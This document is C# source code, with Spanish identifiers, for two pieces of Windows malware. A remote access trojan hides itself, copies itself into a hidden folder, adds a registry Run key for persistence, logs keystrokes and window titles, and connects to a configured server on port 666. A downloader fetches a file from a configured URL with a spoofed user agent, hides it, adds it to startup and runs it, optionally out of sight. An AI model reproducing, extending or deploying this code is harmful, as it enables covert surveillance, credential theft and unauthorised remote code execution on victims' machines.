private void Form1_Load(object sender, EventArgs e) { this.Hide(); load_config config = new load_config(); config.load_data(); //MessageBox.Show(config.get_data()); string rat_online = config.rat_online; if (rat_online == "1") { string ip = config.ip; string directorio_final = Environment.GetEnvironmentVariable("USERPROFILE") + "/sonzon/"; string ruta_rat_inicial = Application.ExecutablePath; string rutadondeestoy = System.Reflection.Assembly.GetEntryAssembly().Location; string nombredondestoy = Path.GetFileName(rutadondeestoy); string ruta_botnet_final = directorio_final + nombredondestoy; if (!Directory.Exists(directorio_final)) { Directory.CreateDirectory(directorio_final); File.SetAttributes(directorio_final, FileAttributes.Hidden); } else { File.SetAttributes(directorio_final, FileAttributes.Hidden); } Directory.SetCurrentDirectory(directorio_final); try { File.Copy(ruta_rat_inicial, ruta_botnet_final); File.SetAttributes(ruta_botnet_final, FileAttributes.Hidden); } catch { // } if (!File.Exists(directorio_final + "logs.out")) { savefile("logs.out", ""); File.SetAttributes("logs.out", FileAttributes.Hidden); } try { RegistryKey loadnow = Registry.LocalMachine; loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); loadnow.SetValue("uberku", ruta_botnet_final, RegistryValueKind.String); loadnow.Close(); } catch { // } capturar_teclas.Interval = 50; capturar_teclas.Enabled = true; capturar_ventanas.Interval = 10; capturar_ventanas.Enabled = true; datos_para_la_conexion_con_el_server = new IPEndPoint(IPAddress.Parse(ip), 666); entrar_al_servidor(); } else { MessageBox.Show("Rat Offline"); Application.Exit(); } }
// static void Main(string[] args) { load_config config = new load_config(); config.load_data(); string check_online = config.downloader_online; if (check_online == "1") { Console.WriteLine("[+] Downloader Online"); string url = config.url; string opcion_change_name = config.opcion_change_name; string text_change_name = config.text_change_name; string opcion_carga_normal = config.opcion_carga_normal; string opcion_carga_hide = config.opcion_carga_hide; string ruta_donde_bajar = config.ruta_donde_bajar; string opcion_ocultar_archivo = config.opcion_ocultar_archivo; string opcion_startup = config.opcion_startup; string nombre_final = ""; string directorio_final = ""; string ruta_final = ""; //string output = config.get_data(); //Console.WriteLine(output); if (opcion_change_name == "1") { nombre_final = text_change_name; } else { nombre_final = Path.GetFileName(url); } if (ruta_donde_bajar != "") { directorio_final = Environment.GetEnvironmentVariable(ruta_donde_bajar); } else { directorio_final = Environment.GetEnvironmentVariable("USERPROFILE"); } ruta_final = directorio_final + "/" + nombre_final; Console.WriteLine("[+] URL : " + url + "\n"); Console.WriteLine("[+] Filename : " + ruta_final + "\n"); try { WebClient nave = new WebClient(); nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"; nave.DownloadFile(url, ruta_final); } catch { // } if (opcion_ocultar_archivo == "1") { Console.WriteLine("[+] Hide : " + ruta_final + "\n"); try { File.SetAttributes(ruta_final, FileAttributes.Hidden); } catch { // } } if (opcion_startup == "1") { Console.WriteLine("[+] Add Startup : " + ruta_final + "\n"); add_startup(ruta_final); } if (opcion_carga_normal == "1") { Console.WriteLine("[+] Load normal : " + ruta_final + "\n"); cmd_normal(ruta_final); } if (opcion_carga_hide == "1") { Console.WriteLine("[+] Load hide : " + ruta_final + "\n"); cmd_hide(ruta_final); } //Console.ReadKey(); } else { Console.WriteLine("[-] Downloader OffLine"); //Console.ReadKey(); } }